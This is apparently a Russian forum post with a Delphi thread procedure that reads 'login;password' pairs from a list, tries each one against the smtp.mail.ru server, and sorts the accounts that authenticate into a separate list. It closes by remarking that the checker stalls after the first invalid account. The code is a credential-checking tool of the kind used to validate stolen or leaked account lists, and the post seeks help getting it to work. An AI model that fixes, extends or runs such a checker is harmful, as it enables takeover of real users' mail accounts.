Код:
procedure thread1.execute;
var
i:integer;
username,pass:string;
begin
form1.IdSMTP1.Host:='smtp.mail.ru';
for i:=0 to form1.Memo1.Lines.Count-1 do
try
username:=copy(form1.Memo1.Lines[i],1,pos(';',form1.Memo1.Lines[i])-1);
pass:=copy(form1.Memo1.lines[i],pos(';',form1.Memo1.Lines[i])+1,length(form1.Memo1.Lines[i])-pos(';',form1.Memo1.Lines[i])+1);
form1.IdSMTP1.Username:=username;
form1.IdSMTP1.Password:=pass;
form1.IdSMTP1.Connect();
if form1.IdSMTP1.Authenticate then
begin
form1.Memo2.Lines.Add(username+';'+pass);
form1.IdSMTP1.Disconnect;
end;
except
on E:EIdProtocolReplyError do
begin
form1.Memo3.Lines.Add(username+';'+pass);
end;
end;
end;
Проверяет до первого невалидного аккаунта, дальше встает